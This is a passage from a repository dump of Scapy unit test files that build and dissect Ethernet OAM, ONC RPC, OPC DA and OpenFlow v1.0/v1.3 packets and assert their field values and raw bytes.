Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Client Signal Fail (CSF)\",\n                    flags=\"RDI\",\n                    period=\"1 frame per minute\")))\n\nassert pkt[OAM].opcode == 52\nassert pkt[OAM].tlv_offset == 0\nassert pkt[OAM].flags == 0b010\nassert pkt[OAM].period == 0b110\n\ncheck_tshark(pkt, \"(CSF)\")\n\n= SLM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Synthetic Loss Message (SLM)\",\n                    test_id=11,\n                    src_mep_id=12,\n                    rcv_mep_id=34,\n                    txfcf=3,\n                    txfcb=9,\n                    tlvs=[OAM_DATA_TLV()/Raw(b'123'),\n                          OAM_DATA_TLV()/Raw(b'456789')])))\n\nassert pkt[OAM].opcode == 55\nassert pkt[OAM].tlv_offset == 16\nassert pkt[OAM].test_id == 11\nassert pkt[OAM].src_mep_id == 12\nassert pkt[OAM].rcv_mep_id == 34\nassert pkt[OAM].txfcf == 3\nassert pkt[OAM].txfcb == 9\nassert pkt[OAM].tlvs[0].type == 3\nassert pkt[OAM].tlvs[0].length == 3\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert pkt[OAM].tlvs[1].type == 3\nassert pkt[OAM].tlvs[1].length == 6\nassert raw(pkt[OAM].tlvs[1].payload) == b'456789'\n\ncheck_tshark(pkt, \"(SLM)\")\n\n= SLR\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Synthetic Loss Reply (SLR)\",\n                    test_id=11,\n                    src_mep_id=12,\n                    rcv_mep_id=34,\n                    txfcf=3,\n                    txfcb=9,\n                    tlvs=[OAM_DATA_TLV()/Raw(b'123'),\n                          OAM_DATA_TLV()/Raw(b'456789')])))\n\nassert pkt[OAM].opcode == 54\nassert pkt[OAM].tlv_offset == 16\nassert pkt[OAM].test_id == 11\nassert pkt[OAM].src_mep_id == 12\nassert pkt[OAM].rcv_mep_id == 34\nassert pkt[OAM].txfcf == 3\nassert pkt[OAM].txfcb == 9\nassert pkt[OAM].tlvs[0].type == 3\nassert pkt[OAM].tlvs[0].length == 3\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert pkt[OAM].tlvs[1].type == 3\nassert pkt[OAM].tlvs[1].length == 6\nassert raw(pkt[OAM].tlvs[1].payload) == b'456789'\n\ncheck_tshark(pkt, \"(SLR)\")\n\n= 1SL\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"One Way Synthetic Loss Measurement (1SL)\",\n                    test_id=11,\n                    src_mep_id=12,\n                    txfcf=3,\n                    tlvs=[OAM_DATA_TLV()/Raw(b'123'),\n                          OAM_DATA_TLV()/Raw(b'456789')])))\n\nassert pkt[OAM].opcode == 53\nassert pkt[OAM].tlv_offset == 16\nassert pkt[OAM].test_id == 11\nassert pkt[OAM].src_mep_id == 12\nassert pkt[OAM].txfcf == 3\nassert pkt[OAM].tlvs[0].type == 3\nassert pkt[OAM].tlvs[0].length == 3\nassert raw(pkt[OAM].tlvs[0].payload) == b'123'\nassert pkt[OAM].tlvs[1].type == 3\nassert pkt[OAM].tlvs[1].length == 6\nassert raw(pkt[OAM].tlvs[1].payload) == b'456789'\n\ncheck_tshark(pkt, \"(1SL)\")\n\n= GNM\n\npkt = Ether(raw(Ether(dst=\"00:11:22:33:44:55\")/Dot1Q()/\n                OAM(opcode=\"Generic Notification Message (GNM)\",\n                    period=\"1 frame per minute\",\n                    nom_bdw=1,\n                    curr_bdw=2,\n                    port_id=3)))\n\nassert pkt[OAM].opcode == 32\nassert pkt[OAM].tlv_offset == 13\nassert pkt[OAM].period == 0b110\nassert pkt[OAM].subopcode == 1\nassert pkt[OAM].nom_bdw == 1\nassert pkt[OAM].curr_bdw == 2\nassert pkt[OAM].port_id == 3\n\ncheck_tshark(pkt, \"(GNM)\")\n"
  },
  {
    "path": "test/contrib/oncrpc.uts",
    "content": "% Tests for oncrpc module\n############\n############\n+  Packet Creation Tests\n\n= Create subpackets\nObject_Name()\nAuth_Unix()\nAuth_RPCSEC_GSS()\nVerifier_RPCSEC_GSS()\n\n= Create ONC RPC Packets\nRM_Header()\nRPC()\nRPC_Call()\nRPC_Reply()\n\n+ Test Layer bindings\n\n= RPC Message type\npkt = RPC()/RPC_Call()\nassert pkt.mtype==0\npkt = RPC()/RPC_Reply()\nassert pkt.mtype==1\n\n+ Test Built Packets vs Raw Strings\n\n= Test Built Packets vs Raw Strings\npkt = RM_Header(\n    rm=0x80000000\n)\nassert bytes(pkt) == b'\\x80\\x00\\x00\\x00'\n\npkt = RPC(\n    xid=0xabcdef12,\n    mtype='CALL'\n)\nassert bytes(pkt) == b'\\xab\\xcd\\xef\\x12\\x00\\x00\\x00\\x00'\n\npkt = RPC_Call(\n    version=2,\n    program=100005,\n    pversion=3,\n    procedure=1,\n    aflavor='AUTH_UNIX',\n    a_unix=Auth_Unix(\n        stamp=0xffffffff,\n        mname=Object_Name(\n            length=5,\n            _name='MNAME',\n            fill='\\x00\\x00\\x00'\n        ),\n        uid=1,\n        gid=1,\n        num_auxgids=1,\n        auxgids=[0]\n    ),\n    vflavor=1,\n    v_unix=Auth_Unix(\n        stamp=0xffffffff,\n        mname=Object_Name(\n            length=5,\n            _name='MNAME',\n            fill='\\x00\\x00\\x00'\n        ),\n        uid=1,\n        gid=1,\n        num_auxgids=1,\n        auxgids=[0]\n    )\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x02\\x00\\x01\\x86\\xa5\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00 \\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x05MNAME\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x05MNAME\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00'\n\npkt = RPC_Call(\n    version=2,\n    program=100021,\n    pversion=4,\n    procedure=20,\n    aflavor='RPCSEC_GSS',\n    a_rpcsec_gss=Auth_RPCSEC_GSS(\n        gss_version=1,\n        gss_procedure=0,\n        gss_seq_num=10,\n        gss_service=1,\n        gss_context=Object_Name(\n            length=4,\n            _name='AAAA',\n            fill=''\n        ),\n    ),\n    vflavor=6,\n    v_rpcsec_gss=Verifier_RPCSEC_GSS(b\"\\x00\\x00\\x00\\x04\\x41\\x41\\x41\\x41\")\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x02\\x00\\x01\\x86\\xb5\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0a\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x04\\x41\\x41\\x41\\x41\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x04\\x41\\x41\\x41\\x41'\n\npkt = RPC_Reply(\n    reply_stat=1,\n    flavor=1,\n    a_unix=Auth_Unix(\n        stamp=0xffffffff,\n        mname=Object_Name(\n            length=5,\n            _name='MNAME',\n            fill='\\x00\\x00\\x00'\n        ),\n        uid=1,\n        gid=1,\n        num_auxgids=1,\n        auxgids=[0]\n    ),\n    length=32,\n    accept_stat=1\n)\nassert bytes(pkt) == b'\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x05MNAME\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x01'\n"
  },
  {
    "path": "test/contrib/opc_da.uts",
    "content": "% Scapy OPC DA layer tests\n\n+ Test Request Packet\n= OpcDaRequest\nopcdaRequestPacket_Dissect = hex_bytes(b'050000830000000000640000000000150000003c000600050000c41d0a9c0000d7028c761299f7bf00000000')\nelem1 = raw(OpcDaMessage(opcdaRequestPacket_Dissect))\n\nopcdaRequestPacket_Build = OpcDaMessage(OpcDaMessage= \\\nOpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=0, \\\n    pfc_flags = 131,integerRepresentation='bigEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderN(fragLength=100,authLength=0,callID=21)\\\n    / OpcDaRequest(allocHint=60,contextId=6,opNum=5,\\\n    uuid=b'0000c41d-0a9c-0000-d702-8c761299f7bf',stubData=RequestStubData(\\\n    versionMajor=0,versionMinor=0,stubdata='')))\nelem2 = raw(opcdaRequestPacket_Build)\n\nassert  elem1 == elem2\n\n= OpcDaRequestLE\nopcdaRequestLEPacket_Dissect = hex_bytes(b'050000831000000064000000150000003c000000060005001dc400009c0a0000d7028c761299f7bf000000000000000000000000512d4e34ab431449a2cf7784b21b3ea1')\nelem1 = raw(OpcDaMessage(opcdaRequestLEPacket_Dissect))\n\nopcdaRequestLEPacket_Build = OpcDaMessage(OpcDaMessage= \\\nOpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=0, \\\n    pfc_flags = 131,integerRepresentation='littleEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderNLE(fragLength=100,authLength=0,callID=21)\\\n    / OpcDaRequestLE (allocHint=60,contextId=6,opNum=5,\\\n    uuid=b'0000c41d-0a9c-0000-d702-8c761299f7bf',\\\n    stubData=RequestStubDataLE(versionMajor=0,versionMinor=0,\\\n    stubdata=b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00Q-N4\\xabC\\x14I\\xa2\\xcfw\\x84\\xb2\\x1b>\\xa1')))\nelem2 = raw(opcdaRequestLEPacket_Build)\n\nassert  elem1 == elem2\n\n\n+ Test Ping Packet\n= OpcDaPing\nopcdaPingPacket_Dissect = hex_bytes(b'0500010310000000640000001500000000')\nelem1 = raw(OpcDaMessage(opcdaPingPacket_Dissect))\n\nopcdaPingPacket_Build = OpcDaMessage(OpcDaMessage= \\\n    OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=1, \\\n    pfc_flags = 3,integerRepresentation='littleEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderNLE(fragLength=100,authLength=0,callID=21)\\\n    / OpcDaPing()) / '\\x00'\nelem2 = raw(opcdaPingPacket_Build)\n\nassert  elem1 == elem2\n\n\n+ Test Response Packets\n= OpcDaResponse\nopcDaResponsePacket_Dissect = hex_bytes(b'050002030000000000d4000000000015000000bc00060000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030')\nelem1 = raw(OpcDaMessage(opcDaResponsePacket_Dissect))\n\nopcDaResponsePacket_Build = OpcDaMessage(OpcDaMessage= \\\n    OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=2, \\\n    pfc_flags = 3,integerRepresentation='bigEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderN(fragLength=212,authLength=0,callID=21)\\\n    / OpcDaResponse(allocHint=188,contextId=6,cancelCount=0,reserved=0,\\\n        stubData=b'0'*(212-32)))\nelem2 = raw(opcDaResponsePacket_Build)\n\nassert  elem1 == elem2\n\n= OpcDaResponseLE\nopcDaResponseLEPacket_Dissect = hex_bytes(b'0500020310000000d400000015000000bc00000006000000303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030303030')\nelem1 = raw(OpcDaMessage(opcDaResponseLEPacket_Dissect))\n\nopcDaResponseLEPacket_Build = OpcDaMessage(OpcDaMessage= \\\n    OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=2, \\\n    pfc_flags = 3,integerRepresentation='littleEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderNLE(fragLength=212,authLength=0,callID=21)\\\n    / OpcDaResponseLE(allocHint=188,contextId=6,cancelCount=0,reserved=0,\\\n        stubData=b'0'*(212-32)))\nelem2 = raw(opcDaResponseLEPacket_Build)\n\nassert  elem1 == elem2\n\n# + Test Fault Packet\n# No example yet\n# OpcDaFault\n# OpcDaFaultLE\n\n# + Test Working\n# No example yet\n# OpcDaWorking\n\n# + Test No Call Packet\n# No example yet\n# OpcDaNoCall\n# OpcDaNoCallLE\n\n# + Test Reject Packet\n# No example yet\n# OpcDaReject\n# OpcDaRejectLE\n\n# + Test Ack Packet\n# No example yet\n# OpcDaAck\n\n# + Test Cl_cancel Packet\n# No example yet\n# OpcDaCl_cancel\n# OpcDaCl_cancelLE\n\n# + Test Fack Packet\n# No example yet\n# OpcDaFack\n\n# + Test Cancel ack Packet\n# No example yet\n# OpcDaCancel_ack\n# OpcDaCancel_ackLE\n\n# + Test Bind Packet\n# OpcDaBind\n# OpcDaBindLE\n\n# + Test Bind ack Packet\n# OpcDaBind_ack\n\n# + Test Bind no ack Packet\n# No example yet\n# OpcDaBind_nack\n\n\n+ Test Alter_context\n= OpcDaAlter_context\nopcDaAlter_contextPacket_Dissect = hex_bytes(b'05000e0300000000004800000000001716d016d00008294500000001070001000101000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000')\nelem1 = raw(OpcDaMessage(opcDaAlter_contextPacket_Dissect))\n\nocDaAlter_contextPacket_Build = OpcDaMessage(OpcDaMessage= \\\n    OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=14, \\\n    pfc_flags = 3,integerRepresentation='bigEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderN(fragLength=72,authLength=0,callID=23)\\\n    / OpcDaAlter_context(maxXmitFrag=5840,maxRecvtFrag=5840,\\\n        assocGroupId=534853)) \\\n    / '\\x00\\x00\\x00\\x01\\x07\\x00\\x01\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0'\\\n    '\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\x00\\x00\\x00\\x00\\x04\\x5d\\x88\\x8a\\xeb\\x1c\\xc9'\\\n    '\\x11\\x9f\\xe8\\x08\\x00\\x2b\\x10\\x48\\x60\\x02\\x00\\x00\\x00'\nelem2 = raw(ocDaAlter_contextPacket_Build)\n\n= OpcDaAlter_contextLE\nopcDaAlter_contextLEPacket_Dissect = hex_bytes(b'05000e03100000004800000017000000d016d0164529080001000000070001000101000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000')\nelem1 = raw(OpcDaMessage(opcDaAlter_contextLEPacket_Dissect))\n\nocDaAlter_contextLEPacket_Build = OpcDaMessage(OpcDaMessage= \\\n    OpcDaHeaderMessage (versionMajor=5,versionMinor=0,pduType=14, \\\n    pfc_flags = 3,integerRepresentation='littleEndian',\\\n    characterRepresentation='ascii',floatingPointRepresentation='ieee',\\\n    res=0)/ OpcDaHeaderNLE(fragLength=72,authLength=0,callID=23)\\\n    / OpcDaAlter_contextLE(maxXmitFrag=5840,maxRecvtFrag=5840,\\\n        assocGroupId=534853)) \\\n    / '\\x01\\x00\\x00\\x00\\x07\\x00\\x01\\x00\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0'\\\n    '\\x00\\x00\\x00\\x00\\x00\\x00\\x46\\x00\\x00\\x00\\x00\\x04\\x5d\\x88\\x8a\\xeb\\x1c\\xc9'\\\n    '\\x11\\x9f\\xe8\\x08\\x00\\x2b\\x10\\x48\\x60\\x02\\x00\\x00\\x00'\nelem2 = raw(ocDaAlter_contextLEPacket_Build)\n\n+ Test Alter_context_Resp\n= OpcDaAlter_Context_Resp\n= OpcDaAlter_Context_RespLE\n\n# + Test Shutdown Packet\n# No example yet\n# OpcDaShutdown\n\n# + Test Co_cancel Packet\n# No example yet\n# OpcDaCo_cancel\n# OpcDaCo_cancelLE\n\n# + Test Orphaned Packet\n# No example yet\n# OpcDaOrphaned\n"
  },
  {
    "path": "test/contrib/openflow.uts",
    "content": "% Tests for OpenFlow v1.0 with Scapy\n\n+ Preparation\n= Be sure we have loaded OpenFlow v1\nload_contrib(\"openflow\")\n\n+ Usual OFv1.0 messages\n\n= OFPTHello(), simple hello message\nofm = OFPTHello()\nraw(ofm) == b'\\x01\\x00\\x00\\x08\\x00\\x00\\x00\\x00'\n\n= OFPTEchoRequest(), echo request\nofm = OFPTEchoRequest()\nraw(ofm) == b'\\x01\\x02\\x00\\x08\\x00\\x00\\x00\\x00'\n\n= OFPMatch(), check wildcard completion\nofm = OFPMatch(in_port=1, nw_tos=8)\nofm = OFPMatch(raw(ofm))\nassert ofm.wildcards1 == 0x1\nofm.wildcards2 == 0xee\n\n= OpenFlow(), generic method test with OFPTEchoRequest()\nofm = OFPTEchoRequest()\ns = raw(ofm)\nisinstance(OpenFlow(s), OFPTEchoRequest)\n\n= OFPTFlowMod(), check codes and defaults values\nofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_port='CONTROLLER', flags='CHECK_OVERLAP+EMERG')\nassert ofm.cmd == 3\nassert ofm.buffer_id == 0xffffffff\nassert ofm.out_port == 0xfffd\nofm.flags == 6\n\n+ Complex OFv1.0 messages\n\n= OFPTFlowMod(), complex flow_mod\nmtc = OFPMatch(dl_vlan=10, nw_src='192.168.42.0', nw_src_mask=8)\nact1 = OFPATSetNwSrc(nw_addr='192.168.42.1')\nact2 = OFPATOutput(port='CONTROLLER')\nact3 = OFPATSetDlSrc(dl_addr='1a:d5:cb:4e:3c:64')\nofm = OFPTFlowMod(priority=1000, match=mtc, flags='CHECK_OVERLAP', actions=[act1,act2,act3])\nraw(ofm)\ns = b'\\x01\\x0e\\x00h\\x00\\x00\\x00\\x00\\x00?\\xc8\\xed\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8*\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\xe8\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x02\\x00\\x06\\x00\\x08\\xc0\\xa8*\\x01\\x00\\x00\\x00\\x08\\xff\\xfd\\xff\\xff\\x00\\x04\\x00\\x10\\x1a\\xd5\\xcbN<d\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(ofm) == s\n\n= OFPETBadRequest() containing a flow_mod with wrong table_id\nflowmod = OFPTFlowMod(actions=OFPATOutput(port='LOCAL'))\nofm = OFPETBadRequest(errcode='OFPBRC_EPERM', data=raw(flowmod))\nhexdump(ofm)\ns = b'\\x01\\x01\\x00\\\\\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x05\\x01\\x0e\\x00P\\x00\\x00\\x00\\x00\\x00?\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x08\\xff\\xfe\\xff\\xff'\nraw(ofm) == s\n\n= OFPTPacketIn() containing an Ethernet frame\nofm = OFPTPacketIn(data=Ether()/IP()/ICMP())\np = OFPTPacketIn(raw(ofm))\ndat = p.data\nassert isinstance(dat, Ether)\nassert isinstance(dat.payload, IP)\nisinstance(dat.payload.payload, ICMP)\n\n= OFPTStatsReplyFlow()\npkt = TCP()/OFPTStatsReplyFlow(flow_stats=[OFPFlowStats(actions=[OFPATSetTpSrc()])])\npkt = TCP(raw(pkt))\nassert isinstance(pkt.flow_stats[0].actions[0], OFPATSetTpSrc)\n\n= OFPTQueueGetConfigReply()\npkt = TCP()/OFPTQueueGetConfigReply(queues=[OFPPacketQueue(properties=[OFPQTMinRate(rate=123)])])\npkt = TCP(raw(pkt))\nassert pkt.queues[0].properties[0].rate == 123\n\n= OFPETHelloFailed()\npkt = OFPETHelloFailed(data=OFPTEchoRequest())\npkt = OFPETHelloFailed(raw(pkt))\nassert isinstance(pkt.data, OFPTEchoRequest)\n\n+ Layer bindings\n\n= TCP()/OFPTStatsRequestDesc(), check default sport\np = TCP()/OFPTStatsRequestDesc()\np[TCP].sport == 6653\n\n= TCP()/OFPETHelloFailed(), check default dport\np = TCP()/OFPETHelloFailed()\np[TCP].dport == 6653\n\n= TCP()/OFPTHello() dissection, check new TCP.guess_payload_class\no = TCP(dport=6653)/OFPTHello()\np = TCP(raw(o))\np[TCP].sport == 6653\nisinstance(p[TCP].payload, OFPTHello)\n\n= complete Ether()/IP()/TCP()/OFPTFeaturesRequest()\nofm = Ether(src='00:11:22:33:44:55',dst='01:23:45:67:89:ab')/IP(src='10.0.0.7',dst='192.168.0.42')/TCP(sport=6633, dport=6633)/OFPTFeaturesRequest(xid=23)\ns = b'\\x01#Eg\\x89\\xab\\x00\\x11\"3DU\\x08\\x00E\\x00\\x000\\x00\\x01\\x00\\x00@\\x06\\xaf\\xee\\n\\x00\\x00\\x07\\xc0\\xa8\\x00*\\x19\\xe9\\x19\\xe9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x90\\x0b\\x00\\x00\\x01\\x05\\x00\\x08\\x00\\x00\\x00\\x17'\nassert raw(ofm) == s\ne = Ether(s)\ne.show2()\ne[OFPTFeaturesRequest].xid == 23\n"
  },
  {
    "path": "test/contrib/openflow3.uts",
    "content": "% Tests for OpenFlow v1.3 with Scapy\n\n+ Preparation\n= Be sure we have loaded OpenFlow v3\nload_contrib(\"openflow3\")\n\n+ Usual OFv1.3 messages\n\n= OFPTHello(), hello without version bitmap\nofm = OFPTHello()\nraw(ofm) == b'\\x04\\x00\\x00\\x08\\x00\\x00\\x00\\x00'\n\n= OFPTEchoRequest(), echo request\nofm = OFPTEchoRequest()\nraw(ofm) == b'\\x04\\x02\\x00\\x08\\x00\\x00\\x00\\x00'\n\n= OFPMatch(), check padding\nofm = OFPMatch(oxm_fields=OFBEthType(eth_type=0x86dd))\nassert len(raw(ofm))%8 == 0\nraw(ofm) == b'\\x00\\x01\\x00\\x0a\\x80\\x00\\x0a\\x02\\x86\\xdd\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= OpenFlow3(), generic method test with OFPTEchoRequest()\nofm = OFPTEchoRequest()\ns = raw(ofm)\nisinstance(OpenFlow3(s), OFPTEchoRequest)\n\n= OFPTFlowMod(), check codes and defaults values\nofm = OFPTFlowMod(cmd='OFPFC_DELETE', out_group='ALL', flags='CHECK_OVERLAP+NO_PKT_COUNTS')\nassert ofm.cmd == 3\nassert ofm.out_port == 0xffffffff\nassert ofm.out_group == 0xfffffffc\nofm.flags == 10\n\n= OFBIPv6ExtHdrHMID(), check creation of last OXM classes\nassert hasattr(OFBIPv6ExtHdr(), 'ipv6_ext_hdr_flags')\nOFBIPv6ExtHdrHMID().field == 39\n\n+ Complex OFv1.3 messages\n\n= OFPTFlowMod(), complex flow_mod\nmtc = OFPMatch(oxm_fields=OFBVLANVID(vlan_vid=10))\nist1 = OFPITApplyActions(actions=[OFPATSetField(field=OFBIPv4Src(ipv4_src='192.168.10.41')),OFPATSetField(field=OFBEthSrc(eth_src='1a:d5:cb:4e:3c:64')),OFPATOutput(port='NORMAL')])\nist2 = OFPITWriteActions(actions=OFPATOutput(port='CONTROLLER'))\nofm = OFPTFlowMod(table_id=2, match=mtc, instructions=[ist1,ist2])\nhexdump(ofm)\ns = b'\\x04\\x0e\\x00\\x98\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\n\\x80\\x00\\x0c\\x02\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00@\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x18\\x80\\x00\\n\\x02\\x08\\x00\\x80\\x00\\x16\\x04\\xc0\\xa8\\n)\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x19\\x00\\x10\\x80\\x00\\x08\\x06\\x1a\\xd5\\xcbN<d\\x00\\x00\\x00\\x00\\x00\\x10\\xff\\xff\\xff\\xfa\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xff\\xff\\xff\\xfd\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00'\nraw(ofm) == s\n\n= OFPTFlowMod(), complex flow_mod - Dissection\nofm = OFPTFlowMod(raw(ofm))\nassert len(ofm.instructions[0].actions) == 3\nassert len(ofm.instructions[1].actions) == 1\nassert isinstance(ofm.instructions[0].actions[0].field[0], OFBEthType)\nassert ofm.instructions[0].actions[0].field[1].ipv4_src == '192.168.10.41'\n\n= OFPFlowStats()\nfls = OFPFlowStats(instructions=OFPITGotoTable(table_id=0))\nfls = OFPFlowStats(raw(fls))\nassert fls.match.type == 1\nassert fls.instructions[0].type == 1\nassert fls.instructions[0].table_id == 0\n\n= OFPETBadRequest() containing a flow_mod with wrong table_id\nflowmod = OFPTFlowMod(instructions=OFPITGotoTable(table_id=0))\nofm = OFPETBadRequest(errcode='OFPBRC_BAD_TABLE_ID', data=raw(flowmod))\nhexdump(ofm)\ns = b'\\x04\\x01\\x00L\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\t\\x04\\x0e\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x08\\x00\\x00\\x00\\x00'\nraw(ofm) == s\n\n= OFPTFPTInstructions()\nfpti = OFPTFPTInstructions(instruction_ids=[OFPITGotoTableID(), OFPITClearActionsID()])\nfpti = OFPTFPTInstructions(raw(fpti))\nassert len(fpti) == 16\nassert fpti.instruction_ids[0].type == 1\nassert fpti.instruction_ids[1].type == 5\n\nfpti.instruction_ids[0] = OFPITGotoTableID()\nassert bytes(fpti) == b'\\x00\\x00\\x00\\x0c\\x00\\x01\\x00\\x04\\x00\\x05\\x00\\x04\\x00\\x00\\x00\\x00'\n\n= OFPTPacketIn() containing an Ethernet frame\nofm = OFPTPacketIn(data=Ether()/IP()/ICMP())\np = OFPTPacketIn(raw(ofm))\ndat = p.data\nassert isinstance(dat, Ether)\nassert isinstance(dat.payload, IP)\nisinstance(dat.payload.payload, ICMP)\n\n= OFPTGroupMod()\nfptgm = OFPTGroupMod(buckets=[OFPBucket(actions=[OFPATOutput(port='CONTROLLER')])])\nfptgm = OFPTGroupMod(raw(fptgm))\nassert fptgm.buckets[0].actions[0].port == 4294967293\nassert fptgm.buckets[0].actions[0].len == len(fptgm.buckets[0].actions[0]) == 16\nassert fptgm.buckets[0].actions[0].type == 0\nassert fptgm.buckets[0].actions[0].max_len == 0xffff\n\n= OFPTQueueGetConfigReply()\nqgcr = OFPTQueueGetConfigReply(queues=[OFPPacketQueue(queue_id=0, properties=[OFPQTNone()]), OFPPacketQueue(queue_id=1, properties=[OFPQTNone(), OFPQTMinRate(rate=123)])])\nqgcr = OFPTQueueGetConfigReply(raw(qgcr))\nassert qgcr.queues[0].queue_id == 0\nassert len(qgcr.queues[0].properties) == 1\nassert qgcr.queues[0].properties[0].type == 0\n\nassert qgcr.queues[1].queue_id == 1\nassert len(qgcr.queues[1].properties) == 2\nassert qgcr.queues[1].properties[0].type == 0\nassert qgcr.queues[1].properties[1].type == 1\nassert qgcr.queues[1].properties[1].rate == 123\n\n= OFPMPReplyMeter()\nrm = OFPMPReplyMeter(flags=\"REPLY_MORE\", meter_stats=[OFPMeterStats(meter_id=2, duration_sec=3, byte_in_count=15, band_stats=[OFPMeterBandStats(packet_band_count=0x123, byte_band_count=0x456)])])\nrm = OFPMPReplyMeter(raw(rm))\nassert rm.flags == 1\nassert rm.meter_stats[0].meter_id == 2\nassert rm.meter_stats[0].duration_sec == 3\nassert rm.meter_stats[0].byte_in_count == 15\nassert rm.meter_stats[0].band_stats[0].packet_band_count == 0x123\nassert rm.meter_stats[0].band_stats[0].byte_band_count == 0x456\n\n= OFPMPReplyMeterConfig()\nrmc = OFPMPReplyMeterConfig(meter_configs=[OFPMeterConfig(flags=\"KBPS+STATS\", 